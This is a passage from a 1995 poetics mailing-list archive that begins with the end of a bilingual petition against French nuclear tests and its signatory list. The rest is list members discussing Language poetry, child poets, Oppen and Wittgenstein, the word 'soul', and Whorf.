ar Rialtas na Fraince na teisteanna < french government to stop nuclear tests.
nuicleach a stopadh. <
<
Ma/ aontai/onn tu/ linn, chuir do < If you agree with us, please add your
ainm leis an liosta thi/os agus < name to the list below, and send
seol co/ipeanna do/ do do chairde! < copies to your friends.

Ta/imi/d chun na liostai/ a thagann < We will add up the lists that had ar ais
chugainn chuig Rialtas na < come back to us, and send it Fraince
< to the French Government.

Ma/s tusa an ce/adu, no/ an dha/ < If you happen to be the hundredth,
che/adu/, tri/ cheadu/ 7rl, ar an < two hundredth, three hundredth, liosta seol
co/ip den teachtaireacht < and so on, on the list, please send chuig an seoladh
thi/os lu/ite ionas < a copy of the mail back to the gur fe/idir su/il a choimead
ar an < addresses below, so that we can keep bhfeachtas. Ma/ ta/ aon rud le
ra/ > track of this project. If you have mar gheall ar an bhfeachas seo scri/ >
any comment please send mails to us. chgainn ag an seoladh thi/os!

Ma/s fe/idir leat an teachtaireacht > And also, if you are multi-lingual
seo a aistriu/ go teanga eile seol > and have friends who may not
e/ i dteanta an cheann seo. > understand English, please translate
> this message and add it to the end of
> the mail.
Go raibh maith agat > Thank you very much.

******* addresses of the organizers
[redacted]
[redacted] <- please use this adress

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```

#1 SHIMIZU Seishi Physics,University of Tokyo,Japan
#2 Yuichi Nishihara Physics,University of Tokyo,Japan
#3 Hirohisa TANIGUCHI Physics,University of Tokyo,Japan
#4 Takashi Tomoeda Physics,University of Tokyo,Japan
#5 Tomoki KOBAYASHI Physics,University of Tokyo,Japan
#6 Munehito ARAI Physics,University of Tokyo,Japan
#7 Akira Okazaki Physics,University of Tokyo,Japan
#8 Atsushi Matsumura Physics, Tohoku University, Japan
#9 Kouta Yamamoto Chemistry,Tohoku University,Japan
#10 Yasushi UJIOKA Degremont S.A., France
#11 Toru Hara Universite de Paris Sud, France
#12 Rene Bakker CEA - Sacley, France
#13 David Garzella Universite de Paris Sud, France
#14 Henk Blok Vrije Universiteit/NIKHEF, Amsterdam
#15 Igor Passchier NIKHEF, Amsterdam
#16 Ard van Sighem NIKHEF, Amsterdam
#17 Johan Noordhoek KOL Leiden
#18 C.M.C.M. van Woerkens Kamerlingh Onnes Laboratory, Leiden
#19 Annemarie Borst, Vrije Universiteit Amsterdam
#20 Gijs Nelemans Universiteit Utrecht
#21 Susanne Buiter Universiteit Utrecht
#22 Stan Schoofs Universiteit Utrecht
#23 Edward Prendergast Universiteit Utrecht
#24 Manon Kluytmans Universiteit Utrecht
#25 Edmar Weitenberg Utrecht
#26 Harry Blom Ruimteonderzoek Utrecht
#27 Henk Marquering Seismology, Utrecht
#28 Marlies ter Voorde Amsterdam
#29 Anco Lankreijer Amsterdam
#30 Hans Veldkamp Bilthoven
#31 Lyande Eelderink Enschede
#32 Christine Pohl Enschede, NL

#33 Gottfried Schneiders DLR, Oberpfaffenhofen, Germany
#34 Simon White DLR, Oberpfaffenhofen, Germany
#35 Dietmar Pfahl Muenchen, Germany
#36 Eduardo Alonso University of the Basque Country
#37 Esther Mondragon Universidad del Pais Vasco, Spain
#38 F.J.D. Ausin University of the Basque Country, Spain
#39 Maria Baghramian University College Dublin, Ireland
#40 Peter Carruthers University of Sheffield, UK
#41 Annette Karmiloff-Smith, University College London
#42 Geoff Ward, University of Essex, England
#43 Jon Chalmers, Ipswich, England
#44 Jodie Ward, Colchester, England
#45 Peter Canty, Cork, Ireland
#46 Garry O'Neill, Limerick, Ireland
#47 Sea/n Mac Suibhne, Baile Atha Cliatha, Eire

↑ Index

289. **Joseph Zitt**
Re: 20th c poetics
Fri 14 Jul 1995

On 14 Jul 95 at 12:39, I.LIGHTMAN wrote:

> *I really agree with Jorge about Marjorie Perloff's Dance of the Intellect -*

For what it's worth, I first heard about a lot of the writing I'm now reading (such as Clark Coolidge, Ron Silliman, P. Inman) (I was already reading Cage and Mac Low) from stumbling across Marjorie Perloff's "Radical Artifice: Writing Poetry in the Age of Media" about a year ago. It was a good intro, and I've been recommending it to people ever since. I *think* it's still in print, but I'm not sure. ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/ Online Representative, Austin International Poetry Festival \| / <A HREF="http://www.realtime.net/~jzitt/"> Joe Zitt's Home Page</A>\

↑ Index

290. **Shaunanne Tangney**
Re: writing/I ching
Fri 14 Jul 1995

---

and gladely would he teche and gladely lerne
--geoffrey chaucer

i close every syllabus with this. . .

--shaunanne

↑ Index

291. **Burt Kimmelman**
Re: 20th century poetics and child poetry
Fri 14 Jul 1995

Ira,

you're suggesting that Language poetry is like language acquisition by children, the way they come to inhabit and manipulate discourse forms?

Burt

↑ Index

292. **Gabrielle Welford**
Re: filtered and unfiltered
Fri 14 Jul 1995

On Thu, 13 Jul 1995, Rod Smith wrote:

> *& also*
>
> *"The self is no mystery, the mystery is/ That there is something for us to stand on."*
>
> *Oppen, "World, World--"*

Did Oppen read Wittgenstein?

Gabrielle

↑ Index

293. **Brian W Horihan**
Re: where it comes from
Fri 14 Jul 1995

> *Hear hear! Many people have an acquired aversion to talking about soul and spirit because organized religions hijacked the words and have been abusing them for centuries. And religion's replacements, science and money, don't want anything to do with such notions because discussion along spiritual lines points up the poverty of science and money with regard to the soul.*

i acquired this aversion after abandoning the family religion, realizing these words didnt mean, signify, anything to me. it's one of the reasons i hate

translating "animus" in latin class. i still cannot find anything in these words that does not bring back the ol' immaterialism, irrationalism... what i find is the poverty of the soul with regard to science.

so i'd like to know, then, what did soul and spirit
mean before they were "hijacked" and "abused"? was there a before, or merely our projection in order to gain ancient authority?

maybe I'M reading "soul" too religiously--but i'm afraid to use it otherwise, expand it, to apply it to something mysterious that was once concrete (or definable, at least, if not material) b/c this is the history of the word god. --brian

↑ Index

294. Gabrielle Welford
Re: doing the one-two writing/teaching
Fri 14 Jul 1995

On Fri, 14 Jul 1995, Willa Jarnagin wrote:
>
> Maybe not REQUIRED, but I think students should be encouraged to write in
> any poetry class. Trying to write the stuff may make poetry more alive
> for them. It'll make them more interested and maybe more interestING too.
> Also, you never know, there might be a beaten-down discouraged kid in the
> class for whom a nudge to write poetry would open a world. (When I say
> "kid" I don't mean "child" in relation to the other argument going
> around.) (Or do I?)
>
> Willa
>
Yes, I've seen this happen a few times already--even after only 3 years
of teaching. How can you learn that poetry is in your body and therefore
understand it in your body without giving it a hand/foot/head/throat...

Gab.

↑ Index

295. Aldon L. Nielsen
Re: Brathwaite Tapes
Fri 14 Jul 1995

Brathwaites _Middle Passage_ was made available years ago on a series of LP's. I've got about two thirds of the set. I also have tape of Brathwaite reading at UC Santa Cruz a few years ago. Tapes may be in San Jose, Michael, which

means I may not be able to retrieve them till late August, but I'll let you know. Maybe I've got at least one here in L.A. -- Meanwhile, I wanted everybody to know about that older set -- might check local media collections to see if they have any of it. Brathwaite reads beautifully, thoug, as veterans of his readings know, the program may go on for hours!

a.l.nielsen

↑ Index

296. Gabrielle Welford
Re: child poets
Fri 14 Jul 1995

On Fri, 14 Jul 1995, Charles Alexander wrote:

> exhibitions this year is a children's book art exhibition, and one staff
> members wanted to exclude the children from being counted as artists. I
> think that is NOT a good idea.
>
I do I do agree.

Gab.

↑ Index

297. Gabrielle Welford
Re: 20th century poetics and child poetry
Fri 14 Jul 1995

Ira, your connection of childspirited writing and Lang Po definitely feels right to me.

especially this--

not merely jouissance and pleasure, but
> in fact a mode of intuitive purer vulnerabe being unjustly
> brutalised? So that Language Writing becomes figured as not a
> departure from, reaction to, but a return to, a reclaiming from?
>

I think of Mervyn Peake and other "non-sense" writers too. The return to a different sense through supposed nonsense.

Gab.

↑ Index

298. **Judy Schwartz**
Re: child poets
Fri 14 Jul 1995

Hmmmm....I. Lightman's "personal" message to "George" regarding a "list lurker' s love for Lorine Niedecker" . . . Perhaps there would be fewer "list lurkers" if so many of the messages posted here weren't aimed at particular people.And as for Mina Loy resembling Niedecker only in that both are female. . . have you read "Love Songs"? Have you read Niedecker for that matter? "Smallness" plays a part in both. --Judy Schwartz (officially no longer a "list lurker")

↑ Index

299. **Judy Schwartz**
Re: where it comes from
Fri 14 Jul 1995

In response to Brian's message of July 14: I'm not sure of the exact etymology of the word "soul," and I'm too lazy to go out in this 97 degree heat to find out, but the word has certainly "branched out," so to speak. What about music having "soul"? Rhythm, depth from within, and so on. . .

↑ Index

300. **Shaunanne Tangney**
Re: call for help!
Fri 14 Jul 1995

---

to every one who replyed to my call for help--

THANKS!!
i wish i would have sent out my call when i was beginning my lists!

i wish i could thank you each individually, but i gotta go _study_!

bless you,
shaunanne

↑ Index

301. **Nick Lawrence**
Re: 20th century poetics and child poetry
Fri 14 Jul 1995

Getting ready to have been frightened? For those who want to follow up on Ira's theses re children and Language poetry, check out the mag _I Am A Child_ (#1, 1994) for its bearing specifically on Bruce Andrews's work (paired with

Duncan's). Copies I believe still available c/o editor Bill Howe, 418 Richmond #2, Buffalo, NY 14222.

↑ Index

302. **Rod Smith**
Re: George & Ludwig
Sat 15 Jul 1995

Gabrielle Welford wrote: "Did Oppen read Wittgenstein?"

My impression is that Oppen was more affected by Heidegger & checking the Selected Letters that seems to be confirmed. Wittgenstein is cited a number of times, often in connection with Zukofsky, he even refers to Zukofsky as "playacting Wittgenstein" and refers to _Bottom_ as "replete with Wittgenstein". However there's an interesting reply to a letter from Duncan in '75 in which he says "You were saying the recent poems are incomprehensible ? I don't really think so. And was not thinking of that which cannot be said in language-- of that indeed silent however unwillingly. I was confused by the entry of Wittgenstein--". Apparently Duncan found the recent work which wld've been _Seascape: Needle's Eye_ & I guess, _Myth of the Blaze_ (which I think is his best, that work has been very important to me personally), "incomprehensible" but mentioned Wittgenstein which seems to me astute. It sounds, however that he was thinking of the _Tractatus_, but I think the later Wittgenstein more accurate. In a footnote Oppen says "But I thought that I was simply pointing to things. . ." & I think he was, & I think you were when you made that connection. There may be others on the list who know more about this Witt/Op/Dun thing? --Rod

↑ Index

303. **Rod Smith**
Re: 20th century poetics and child poetry
Sat 15 Jul 1995

Just a bit of information on this, Harryman's _the Words_ (part of which has been an Abacus) is her "rewrite" of Sandburg's _Rootabaga Stories_. David Shapiro's done a lot of great work with kids, maybe he inspired Padgett? so the story goes. . . & w/ his son there's some terrific stuff he includes in his most recent book _After a Lost Original_ . Half of the vocabulary of that thing of mine in _o blek 12_ came from a 1932 edition of _Mother Goose_. Let's all go out & play. --Rod

↑ Index

304. Marjorie Perloff
Re: POETICS Digest - 13 Jul 1995 to 14 Jul 1995
Sat 15 Jul 1995

Thank you, Joseph Zitt, for the nice plug. RADICAL ARTIFICE is indeed in print --in fact in paperback, out a few months ago, should be readily available @$16.95. And Dance of the Intellect is being reissued by North- western which did Poetics of Indterminacy and which is doing Hank Lazer's new collection as well as Bruce Andrews's essays. Northwestern has an enlightened editor of the new avant-garde series named Rainer Rumold, dept of German & comp lit, as well as Susan Harris, editor, who is terrific. They will be putting out some interesting things.

A query: does anyone know anything about the English poet Glyn Maxwell? He is the guy who wrote the snidest review I've ever seen of Bernstein, Linda Reinfeld, Anthony Easthope, Steve McCaffery etc. for Times Lit Supplement -- mixing these people in with Larkin etc. in a meaningless hodgepodge. What are Maxwell's own poems like? I've only seen one or two but gather in England he's very much "admired" by the Establishment.

I ask because I am doing a talk on the relation of literary journalism (is there any?) and lit crit and am planning to say, among other things, that this Buffalo net contains more useful material than the "lit journalism" outlets, at least so far as poetry is concerned. But it wasn't always so: have been reading very old New York Times Book Reviews and in 1904 or so there were actually good long reviews of Paul Dunbar among others!

Marjorie Perloff

↑ Index

305. Ron Silliman
Re: 20th century poetics and child poetry
Sat 15 Jul 1995

Ira,

You are right on target with your comments on Carla Harryman's work. Carla has spoken of P.D. Eastman's Go Dog, Go, as her "most influential" book, and only half tongue in cheek. In a similar manner, Margaret Wise Brown (Runaway Bunny, Goodnight Moon) clearly thought herself influenced by Gertrude Stein (though her sense of the stanza more often reminds me of the very early Robert Duncan (cf. the old City Lights edition of the Selected Poems, pre-Opening of the Field).

Ron Silliman
[redacted]

↑ Index

306. Ron Silliman
Re: child poets
Sat 15 Jul 1995

>On Fri, 14 Jul 1995, Charles Alexander wrote: exhibitions this year is
a children's book art exhibition, and one staff members wanted to
exclude the children from being counted as artists. I think that is NOT
a good idea.
>>
>I do I do agree.
>
>Gab.
>
Me too. At the big Cage exhibit at the Philadelphia Art Museum is a
"compose your own Cage score" computer program, basically a point and
click mouse and computer screen deal, with textual quotes from Cage on
screen, snippets of his works, that of others (Morton Feldman fits very
nicely in), excerpts from interviews, readings, etc. One of my
three-year-old twins got to the mouse and had about a half dozen adults
wearing headphones all nodding in total appreciation for about 10
minutes. His instincts were absolutely equal to the task.

Ron

↑ Index

307. beard
Soul
Sat 15 Jul 1995

Regarding use of the word "soul", I agree with Brian:

> *i still cannot*
> *find anything in these words that does not bring back the ol' immaterialism, irrationalism...*

Words like "soul" and "spirit" seem to be too weighed down with mystical baggage to be useful in any other context, such as discussing whether poetry comes from one's "soul" or "experience". A human personality is shaped by what one experiences through one's senses, perhaps by physical actions upon the brain, and by one's genetic material. To say that poetry can come from one's "soul" without experience is nonsensical - in order to write a poem, one must have language, which implies the experience of learning that language, which inevitably shapes the poem.

> *religion's replacements, science and money, don't*
> *want anything to do with such notions because discussion along spiritual*
> *lines points up the poverty of science and money with regard to the soul.*

I'd contend that, rather than "point[ing] up the poverty of science ... with regard to the soul", "discussion along spiritual lines" shows itself as vapid and superfluous, lacking in explanatory value. That is, if you take "soul" and "spirit" to signify some essence of the self that can exist independently of a material body. If, however, you take it to mean that "part" or "faculty" of our mental processes that "feels" rather than thinks, then some phrase such as "the emotions" could substitute for "the soul". This concept is perhaps too close to the romantic conception of "the heart" for my liking, and phrases such as "this poem comes from the heart" are all too often a code for "watch out, tedious uncritical sentimental outburst coming up".

I prefer to use the word "mind". I'm not sure that we can readily make useful distinctions between the part of us that thinks and the part of us that feels - thinking and feeling may be part of the same process. What I hope for in poetry is a tender logic, a rational passion.

Tom.

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

↑ Index

308. beard

Glynn Maxwell

Sat 15 Jul 1995

> *A query: does anyone know anything about the English poet Glyn Maxwell?*
> *He is the guy who wrote the snidest review I've ever seen of Bernstein,*
> *Linda Reinfeld, Anthony Easthope, Steve McCaffery etc. for Times Lit*
> *Supplement --mixing these people in with Larkin etc. in a meaningless*
> *hodgepodge. What are Maxwell's own poems like? I've only seen one or*
> *two but gather in England he's very much "admired" by the Establishment.*

Marjorie, I bought one of his books ("The Mayor's Son", I think) a year or so ago, and read it no more than once. I guess that says something about my impression of his work. From what I remember, it was quite formal (a lot of end-rhymes) and vaguely satirical. Probably quite clever, but forgettable. I might be able to look up his book tomorrow to see if that refreshes my memory.

If you want to see a snide review, take a look at Jane Stafford's review of Michele Leggott and Murray Edmond in NZ Books. Unbelievable.

Tom Beard.

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

↑ Index

309. cris cheek

Glyn Maxwell

Sat 15 Jul 1995

Maxwell is certainly one of a number of 'star' poets currently being built up by the Brit Lit Establishment. Anybody hear of the 'New Gen' Poets from '94 - a joint puiblishers and Poetry Society opinion-forming media binge?

Here's a bit of Maxwell, speaking for himself in a selection of 'poetry & the gulf war' from Poetry Review in '92. He's talked of sometimes as a poet whose work signals the arrival (read as acceptable manifestation) of 'post-modernism' in British Poetry! He cites Bob Dylan as his major influence. The Poem's called 'Queen of Mice' and I'll quote a short section from a 'competition-tailored' 42 odd line length - I really can't be bothered to read him or count them that closely, sorry he's got a vacuous affected prosody that bores the ^ out of me so much so that I've a appended a quick remix:-

'... hands in pouches, disabused, in the wind,
nor are they shocked who hurt and putt in the distance,
beam or denounce or hurry across this carpet.
There is nothing up with the black mice in their normal
crannies of the 'Mice and Queen', smoking
Embassies, and futures spring to mind
as digits dance ahead and the Old Quarter
of Babylad goes 'boom boom' at the point of a gag.
There is nothing up with the dots that are not to blame.
There is nothing up with the fleeing illiterate
fauna and the fires you might see
are not burning. The jails are calm as hell. . .'

hands in - a disabused wind
shocked into distance
beamed across carpet

black crannies of
future springs
mind, dances to the point of gag

nothing up
with burning
calm

love and love
cris

↑ Index

310. John Cayley
Leaves from a Book Unbound
Sat 15 Jul 1995

Texts generated by active readers of my machine modulated piece, Book Unbound, can now be read on the world wide web. There are now 'leaves' by James Waite, myself, Steve Balogh, Jim Rosenberg and Herb Levy. I hope to receive more from others soon.

To go straight to the leaves, visit:

http://www.inforamp.net/~cayley/inleaves.html

For more information about the context of this work:

http://www.inforamp.net/~cayley/inhome.html

A brief blurb on Book Unbound follows:

BOOK UNBOUND
Indra's Net VI

When you open the book unbound, you will change it. New collocations of phases generated from its hidden given text - a short piece of prose by the work's initiator - will be displayed. After the screen fills, you will be invited to select a phrase from the generated text by clicking on the first and the last words of a string of language which appeals to you. Your selections will be collected on the page of this book named Leaf, where you will be able to copy or edit them as you wish.

They will also become a part of the hidden store of potential collocations from which the book will go on to generate new text. That is, your selections will feed back into the process and change it irreversibly.

If you continue reading and selecting over many sessions, your preferred collocations may eventually come to dominate the process. The work may then

reach a state of chaotic stability, strangely attracted to one particular modulated reading of its original seed text.

London: Wellsweep & Engaged, May, 1995. ISBN 0 948454 97 0 (disk version).

↑ Index

311. Edward Foster
Re: writing/teaching
Sat 15 Jul 1995

---

oh ya, oh ya, it's back to that passionate teaching stuff, and often it's: this is my classroom AND HAVE I GOT SOMETHING TO TELL YOU! Ya, well, why not just be passionate, period, particularly when it's so godawful hot, and where are you anyway?

↑ Index

312. Steven Howard Shoemaker
filtered and unfiltered
Sat 15 Jul 1995

Gabrielle Welford writes:

"Did Oppen read Wittgenstein?

Gabrielle"

Yes, but Heidegger was much more important to him. In letters, he often associates Wittgenstein with Zukofsky (esp. Bottom: On Shakespeare).

steve

↑ Index

313. Brian W Horihan
Soul Train
Sat 15 Jul 1995

On Fri, 14 Jul 1995, Judy Schwartz wrote:

> *What about music having "soul"? Rhythm, depth from within, and so on. . .*

maybe music has "soul" in the sense that neither, as notes or as a word, refer to anything but music and "soul." (as far as music being "soulful," that's usu. only applied to blues, gospel, and "soul" music anyway) "soul" is the most concrete thing there is, and music is a lot like concrete poetry. they can only derive meaning from their contexts--e.g. when a musical work quotes a line of Strauss or whoever, when "soul" is used in either religious or poetic discourse. music (i mean the kind w/o words) is all play--so a piece of christian music (say

the new romantic Europeans, Part, Gorecki...) is only christian in that it refers back to the musical tradition of the church. This has been a problem for me, justifying my fondness for certain pieces whose composers I didnt agree with...like people who hate Orff's music cause of his assoc w/ the Nazis. there's a book called TOWARDS A SEMIOTICS OF MUSIC or somthing, i forget the author; anyone read it, found it useful? --brian.

↑ Index

314. Steve Carll
Filet O Soul
Sat 15 Jul 1995

So there are untenable meanings (meanings that are given by metaphysical structures that can be deconstructed) of the word "soul". So many that the mention of the word itself makes us cringe. But why should this be? Don't we all as humans have a capacity to undergo experiences that can't be captured by the physical, can't be captured by the emotional, can't be captured by the intellectual, inclusive of all these aspects as they may be? Why not validate such experiences, why not allow a term like "spiritual" to describe them so we can explore them within language, which is what we have when we're _not_ undergoing them? Of course, such a term is not "precise". Ultimately, what term is? But vapid? Superfluous? Lacking in explanatory value? That depends on how wide your focus is of things to try and explain, beard. But is it really "explanation" of phenomena that poetry attempts? Or is it description and an imparting of a special kind of experience of phenomena?

I do agree that thinking and feeling are quite intertwined, and by the same token, that body and soul are quite intertwined. I don't think "soul" is some "part" that can have a word like "the emotions" pinch-signify for it. It bears, for me, an uncanny resemblence to the "moving empty center" Charles Borkhuis describes in an essay in _Antenym_ 7 (due out in August), a non-essentialist essence. It is a little piece of absence around which presence occurs, and toward which it is drawn, kinda like static cling. And before one early historical soul-jacking during the period of lamentation literature, it meant "breath". And if that gives me any authority, I breathe it all back.

Steve

↑ Index

315. Steve Carll
Re: Soul Train
Sat 15 Jul 1995

Hi Brian H:

> *"soul" is the most concrete thing there is, and music is a lot*
> *like concrete poetry. they can only*
> *derive meaning from their contexts*

See, you've made plenty of metaphorical hay out of "soul" :-)

But is there anything that derives meaning from something other than context? Is there even anything that escapes context so that we could test this?

Steve

↑ Index

316. Chris Stroffolino
Re: Soul Train
Sun 16 Jul 1995

---

the interchangability of terms--
a soul-by shooting, drive food, soul time, drive train...

↑ Index

317. Marjorie Perloff
Glyn Maxwell,etc
Sun 16 Jul 1995

Thank you Tom Beard, and thanks, Chris Cheek for those marvelous messages. This is where the net really helps, yes? In the meantime, I found some of Maxwell's boring poems in the Bloodaxe anthology so I get the drift. What's interesting is that these "clever" non-poems can get attention; it shows what a low opinion the critics have of poetry because the assumption is that it's enough to make a clever joke or two or one little pun and you've got a fine poem, right?

On Oppen/Wittgenstein/Heidegger: I worked on this while writing my Wittgenstein book and it's complicated because although Oppen thinks he's more like Heidegger, his use of language is often much closer to Wittgenstein's treatment of ordinary language. But not as close as, say, Creeley is. Still, "Of Being Numerous," for example, is a rather Wittgensteinian poem as Burt Hatlen pointed out some time ago. Or at least Witt. can help one read Oppen.

Marjorie Perloff

↑ Index

318. **George Bowering**
Re: Jeff Morley
Sun 16 Jul 1995

A few decades ago I edited a collection of Canadian highschool poets/poems for a bigdeal publisher. Two of the poets turned out to be writers who got famous, one as a poet, one as a fiction writer. In the intro I said there was a lot of good stuff.

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319. **George Bowering**
Re: child poets
Sun 16 Jul 1995

I am having a hard time understanding Ira Lightman's response to my mentioning of Mina Loy. I would never attack anyone's love of Niedecker. I have loved her work for 30 years. I didnt say that she reminds me of Loy. I never introduced the context of gender. All I said was that Loy was really good at employing the space around words, and that one who reads Niedecker might have a look at that too. Lightman also put quotation marks around the words he attributed to me. I dont get the point of that at all.

↑ Index

320. **Gabrielle Welford**
Re: George & Ludwig
Sun 16 Jul 1995

Rod, thanks for the things I didn't know about Duncan too. And I'd say _Tractatus_ and later stuff are not as opposed as some people make out. All the stuff of Investigations is there, especially with that final appeal to silence and mystery. How many people on this list besides me are enraptured Wittgensteinians? Something about Witt. and what Ira said about children and language po. Something about a way of searching for knowledge that is open ended--completely unHeidegger as David Antin points out in an interview with Spanos. Just reading Ron Padgett's piece in _Talking Poetics_ Vol.I where he says about one kind of poetry:

"Now there's another kind, where you get in the car with a thousand bucks, and you just start driving down the street and you don't have any idea where you're going to go. You come to the corner and you take a left, right, or straight ahead, unless you want to go backwards, which is a possibility too. It's much more interesting, it's more exciting. Of course you can end up running out of gas in the middle of the desert--it involves all sorts of dangers. But it's

wonderful to be able to go to the typewriter at any given moment; you can wake up in your sleep and just start writing. And in fact that's really thrilling. I mean lots of times you write absolute baloney that way, real garbage. But it's usually more fun, and that's the kind of poetry I prefer writing."

Is this where the politics of lang po comes in? Or should I say, maybe this could be where the politics of lang po comes in for me--unlearning the beaten paths of everything. Letting language take me instead of me taking language. Faith in meaning--Wittgenstein of course.

Gab.

↑ Index

321. George Bowering
Re: child poets
Sun 16 Jul 1995

Thanks to Steve Carll for actually reading what I said about adults gobbling uyp the creativity in children and labelling them. Let a kid write a poem: dont tell her she's Emily Dickinson. Have you ever been an athlete, for instance, who gets called "The Next Pancho Gonzales" or something? Have you seen parents at Little league games, trying to make their kids into bonus babies?

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322. George Bowering
Re: doing the one-two writing/teaching
Sun 16 Jul 1995

I am having a problem with Ed Foster's line
"you don't teach books, chris, you teach yourself."

a. does that mean that you teach yourself to students rather than teaching books? Well, I guess that could be interesting for a short while, but you might wind up teaching your identity to them instead.

b. or does it mean that you teach yourself stuff? Well, that would come to an end after a while too, because you would run out of stuff you know.

I wd rather think that you learn from somewhere. So that if you wind up as someone half as good as, say Spicer, you learn writing from outside.

↑ Index

323. **beard**
Re: Filet O Soul
Sun 16 Jul 1995

> *Don't*
> *we all as humans have a capacity to undergo experiences that can't be*
> *captured by the physical, can't be captured by the emotional, can't be*
> *captured by the intellectual, inclusive of all these aspects as they may be?*

Examples?

If you mean such experiences as falling in love, I'd say this was emotional/physical. If you mean being struck by the beauty of a landscape or a mathematical proof, I'd say this was emotional/intellectual. If you mean the frisson that comes from reading or hearing a poem that moves you, I'd say that this was all three. I don't see a need to use the word "soul" to describe these experiences.

If, on the other hand, you mean astral travel, visions of God, spoon bending, ouija boards and suchlike phenomena, then I am not convinced that such things exist, except as artefacts of the human nervous system. We could get into an argument about the existence of paranormal phenomena, but this is not the place for such a discussion.

> *But vapid? Superfluous? Lacking in explanatory*
> *value? That depends on how wide your focus is of things to try and explain,*
> *beard. But is it really "explanation" of phenomena that poetry attempts?*
> *Or is it description and an imparting of a special kind of experience of*
> *phenomena?*

Well, poetry doesn't usually set itself the goal of explanation, but this topic arose, not _in_ a poem, but in a discussion _about_ poetry, and whether one's poetry comes from one's poetry or one's experience. In this context, I still find the word "soul" useless when trying to explain "where" a poem originates.

Even in "description and an imparting of a special kind of experience of phenomena", I find the word "soul" fairly useless. Phrases such as "I feel it in my soul" and "You touched my soul" reek of cheap love songs and greeting-card sentiment. Go on, tell me _how_ you felt it: a lance through the belly, a tug in the groin, a small fire at the base of the skull.

> *It bears, for me, an uncanny resemblence to the "moving empty center"*
> *Charles Borkhuis describes in an essay in _Antenym_ 7 (due out in August), a*
> *non-essentialist essence. It is a little piece of absence around which*
> *presence occurs, and toward which it is drawn, kinda like static cling.*

This still seems like some kind of perception to me, a mental process. I still don't see a need for a word like "soul". I have a mind (or perhaps more

precisely, I am a mind), and I have no difficulty seeing myself as a neurophysical process. I need no ghost in my machine.

Tom

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

↑ Index

324. nada

child poetry/juvenilia

Sun 16 Jul 1995

I wrote the following poems when I was ten.

Nixon and Agnew
Who would of [sic] thought they would resign
They had been king and queen
Upon the throne of America
The throne had broken beneath their weight
Shall America too
break beneath our weight?

****

Here I sit
in my New York flat
writing ads
for the Zenith power company
my mind wanders to thoughts of

Spain

tap shoes

flourescent-painted
apartments

But I must stay here
in my New York flat
writing ads
for the Zenith power company.

****

Cockroaches --
huge but tiny
in the night
they come and eat us
to the marrow of our bones.

Anyone else care to flaunt their juvenilia?

Nada

↑ Index

325. **nada**
soul vs. kokoro
Sun 16 Jul 1995

There are lots of words that can translate as *soul*
in the Japanese language, but one of them, KOKORO,
also means *heart* and *mind*.

Japanese people, speaking English, tend to point
to their chests when they say *in my mind.*

Whorf, where are you when we need you?

Nada

↑ Index

326. **Jim Rosenberg**
Whorf (vs. Pinker)
Sun 16 Jul 1995

[redacted]:
> Whorf, where are you when we need you?

Speaking of Whorf, I was pretty amazed by the outright savaging of Whorf in in Steven Pinker's _The Language Instinct_. I rather liked most of that book, and I suppose some of his criticisms of Whorf have some bite, but I was totally taken aback by the vehemence with which Pinker went after Whorf, and it seems to me that Pinker was guilty of setting up a straw man and then knocking it down. Basically, Pinker blasted what I would call "the strong Whorf hypothesis", that thinking occurs in *nothing but* language. He didn't really touch what is much closer to what Whorf was getting at, it seems to me, that the language one speaks has *an influence* on how one thinks. I'd be curious to hear comments from somebody else who's read Pinker's book.

--
Jim Rosenberg http://www.well.com/user/jer/

CIS: 71515,124
WELL: jer
Internet: [redacted]

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327. **Rod Smith**
Re: George & Ludwig
Sun 16 Jul 1995

Gabrielle, Really, it's all there in the _Tractatus_? I'm not _that_ versed in L.W. but had thought the more contextual understanding of language games etc. comes after, late 20s? mid '30s?

Re: "unlearning the beaten paths" -- Hejinian has a great statement on that, "Once one sought a vocabulary for ideas, now one seeks ideas for vocabularies." Which points to possibilities, that the ideas are already extant, within language, within contexts (which interpentrate, a context is always multiple & in the end not defineable, I'm convinced via me Mahayana reading (i.e. there are always more factors to be taken into account)) it is the writer's task (& delight) to find them. So self expression finally a problematic term? Cage used to always say that ideas were "in the air" -- how else explain more than one inventor coming up with the same idea thousands of miles apart. One could say, well technology had reached the point where that idea was possible-- exactly, that idea existed, waiting to be discovered, "in the air."

Marjorie Perloff has sd that now it is Stein/Wittgenstein whereas for the last generation in was Heidegger/Pound, I think, or was it Whitehead/Olson. It's a useful point I think. Of course it's more multiple than that, but points to something actual I think.

Re Padgett: His Collected (or it might be a big selected) is to be published soon by Godine. He & Berrigan used to give each other their "failed" poems to see if the other cld make something w/ them. Believe a couple of the Sonnets derive from Padgett material.

--Rod

↑ Index

328. **Ryan Knighton**
Re: Filet O Soul
Sun 16 Jul 1995

I was reading Steve's post and as i was reading Cohen sang "bury my soul in a scrapbook". Nice ryme. Suppose you could say Net for scrapbook.

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329. **George Bowering**
Re: Whorf (vs. Pinker)
Sun 16 Jul 1995

I have not read Pinker's attack on Whorf, but I have read others'. (Funny, I was just reccomending Sapir to my brother, who wants to start reading on language.) Here is what usually happens: the regular social scientists just hate a social scientist who (1) thinks with some creativity and beauty, and (2) gets popular with lay people.

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330. **Tony Green**
Re: doing the one-two writing/teaching
Sun 16 Jul 1995

in so far as the text is something you like and enjoy and comment on you yourself are its student or pupil or follower: it teaches you -- that's the you yourself that you teach. What can you teach, say, Rembrandt, about painting or about Art?

↑ Index

331. **Tony Green**
Re: doing the one-two writing/teaching
Sun 16 Jul 1995

I would like "to teach" a book that accepts the term "soul", through and through. Before the mid-17th century it made sense in poetics and in hermeneutics, because it was the term under which the anagogical level of interpretation, the relation of God to the Soul, could be read.

We don't have that one anymore. Our notions of allegory exclude the Anagogical. How can we read anything
before 1660?

The rationalisms of the 1660's deleted it and the
